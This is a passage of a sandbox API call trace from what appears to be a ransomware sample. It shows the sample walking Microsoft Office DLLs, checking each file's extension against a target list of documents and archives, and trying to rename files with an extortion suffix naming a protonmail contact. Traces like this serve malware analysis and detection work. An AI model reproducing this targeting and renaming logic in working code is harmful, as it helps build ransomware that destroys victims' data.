	[0170.398] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.398] lstrlenW (lpString=".zip") returned 4
	[0170.398] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString=".rar") returned 4
	[0170.398] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.398] lstrlenW (lpString=".bz2") returned 4
	[0170.398] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.398] lstrlenW (lpString=".7z") returned 3
	[0170.398] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.398] lstrlenW (lpString=".dbf") returned 4
	[0170.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString=".1cd") returned 4
	[0170.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString=".jpg") returned 4
	[0170.399] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString=".doc") returned 4
	[0170.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString=".docx") returned 5
	[0170.399] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0170.399] lstrlenW (lpString=".pdf") returned 4
	[0170.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString=".xls") returned 4
	[0170.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString=".xlsx") returned 5
	[0170.399] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0170.399] lstrlenW (lpString=".ppt") returned 4
	[0170.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString=".zip") returned 4
	[0170.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString=".rar") returned 4
	[0170.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.399] lstrlenW (lpString=".bz2") returned 4
	[0170.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.399] lstrlenW (lpString=".7z") returned 3
	[0170.399] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.399] lstrlenW (lpString=".dbf") returned 4
	[0170.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.400] lstrlenW (lpString=".1cd") returned 4
	[0170.400] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0170.400] lstrlenW (lpString=".jpg") returned 4
	[0170.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.400] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.400] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36
	[0170.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.401] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=363736) returned 1
	[0170.401] CloseHandle (hObject=0x4a4) returned 1
	[0170.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220
	[0170.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString=".doc") returned 4
	[0170.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString=".docx") returned 5
	[0170.402] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.402] lstrlenW (lpString=".pdf") returned 4
	[0170.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString=".xls") returned 4
	[0170.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString=".xlsx") returned 5
	[0170.402] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.402] lstrlenW (lpString=".ppt") returned 4
	[0170.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString=".zip") returned 4
	[0170.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString=".rar") returned 4
	[0170.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.402] lstrlenW (lpString=".bz2") returned 4
	[0170.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.402] lstrlenW (lpString=".7z") returned 3
	[0170.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString=".dbf") returned 4
	[0170.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString=".1cd") returned 4
	[0170.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.402] lstrlenW (lpString=".jpg") returned 4
	[0170.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString=".doc") returned 4
	[0170.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString=".docx") returned 5
	[0170.403] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.403] lstrlenW (lpString=".pdf") returned 4
	[0170.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString=".xls") returned 4
	[0170.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString=".xlsx") returned 5
	[0170.403] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.403] lstrlenW (lpString=".ppt") returned 4
	[0170.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString=".zip") returned 4
	[0170.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString=".rar") returned 4
	[0170.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.403] lstrlenW (lpString=".bz2") returned 4
	[0170.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.403] lstrlenW (lpString=".7z") returned 3
	[0170.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString=".dbf") returned 4
	[0170.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString=".1cd") returned 4
	[0170.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0170.403] lstrlenW (lpString=".jpg") returned 4
	[0170.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.404] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.404] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40
	[0170.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.405] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=6890712) returned 1
	[0170.405] CloseHandle (hObject=0x4a4) returned 1
	[0170.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220
	[0170.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.409] lstrlenW (lpString=".doc") returned 4
	[0170.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString=".docx") returned 5
	[0170.409] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.409] lstrlenW (lpString=".pdf") returned 4
	[0170.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString=".xls") returned 4
	[0170.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString=".xlsx") returned 5
	[0170.409] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.409] lstrlenW (lpString=".ppt") returned 4
	[0170.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.409] lstrlenW (lpString=".zip") returned 4
	[0170.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString=".rar") returned 4
	[0170.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.409] lstrlenW (lpString=".bz2") returned 4
	[0170.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.409] lstrlenW (lpString=".7z") returned 3
	[0170.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".dbf") returned 4
	[0170.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".1cd") returned 4
	[0170.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".jpg") returned 4
	[0170.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".doc") returned 4
	[0170.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString=".docx") returned 5
	[0170.410] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.410] lstrlenW (lpString=".pdf") returned 4
	[0170.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString=".xls") returned 4
	[0170.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString=".xlsx") returned 5
	[0170.410] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.410] lstrlenW (lpString=".ppt") returned 4
	[0170.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".zip") returned 4
	[0170.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString=".rar") returned 4
	[0170.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.410] lstrlenW (lpString=".bz2") returned 4
	[0170.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.410] lstrlenW (lpString=".7z") returned 3
	[0170.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.410] lstrlenW (lpString=".dbf") returned 4
	[0170.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.411] lstrlenW (lpString=".1cd") returned 4
	[0170.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0170.411] lstrlenW (lpString=".jpg") returned 4
	[0170.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.411] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.411] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31
	[0170.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.412] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=73312) returned 1
	[0170.412] CloseHandle (hObject=0x4a4) returned 1
	[0170.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220
	[0170.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.413] lstrlenW (lpString=".doc") returned 4
	[0170.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString=".docx") returned 5
	[0170.413] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0170.413] lstrlenW (lpString=".pdf") returned 4
	[0170.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString=".xls") returned 4
	[0170.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString=".xlsx") returned 5
	[0170.413] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0170.413] lstrlenW (lpString=".ppt") returned 4
	[0170.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.413] lstrlenW (lpString=".zip") returned 4
	[0170.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString=".rar") returned 4
	[0170.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.413] lstrlenW (lpString=".bz2") returned 4
	[0170.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.413] lstrlenW (lpString=".7z") returned 3
	[0170.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.413] lstrlenW (lpString=".dbf") returned 4
	[0170.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.413] lstrlenW (lpString=".1cd") returned 4
	[0170.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".jpg") returned 4
	[0170.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".doc") returned 4
	[0170.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString=".docx") returned 5
	[0170.414] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0170.414] lstrlenW (lpString=".pdf") returned 4
	[0170.414] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString=".xls") returned 4
	[0170.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString=".xlsx") returned 5
	[0170.414] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0170.414] lstrlenW (lpString=".ppt") returned 4
	[0170.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".zip") returned 4
	[0170.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString=".rar") returned 4
	[0170.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.414] lstrlenW (lpString=".bz2") returned 4
	[0170.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.414] lstrlenW (lpString=".7z") returned 3
	[0170.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".dbf") returned 4
	[0170.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".1cd") returned 4
	[0170.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0170.414] lstrlenW (lpString=".jpg") returned 4
	[0170.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.415] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.415] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37
	[0170.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.416] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=31328) returned 1
	[0170.416] CloseHandle (hObject=0x4a4) returned 1
	[0170.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220
	[0170.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.416] lstrlenW (lpString=".doc") returned 4
	[0170.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.416] lstrlenW (lpString=".docx") returned 5
	[0170.416] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0170.417] lstrlenW (lpString=".pdf") returned 4
	[0170.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".xls") returned 4
	[0170.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".xlsx") returned 5
	[0170.417] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0170.417] lstrlenW (lpString=".ppt") returned 4
	[0170.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString=".zip") returned 4
	[0170.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".rar") returned 4
	[0170.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".bz2") returned 4
	[0170.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.417] lstrlenW (lpString=".7z") returned 3
	[0170.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString=".dbf") returned 4
	[0170.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString=".1cd") returned 4
	[0170.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
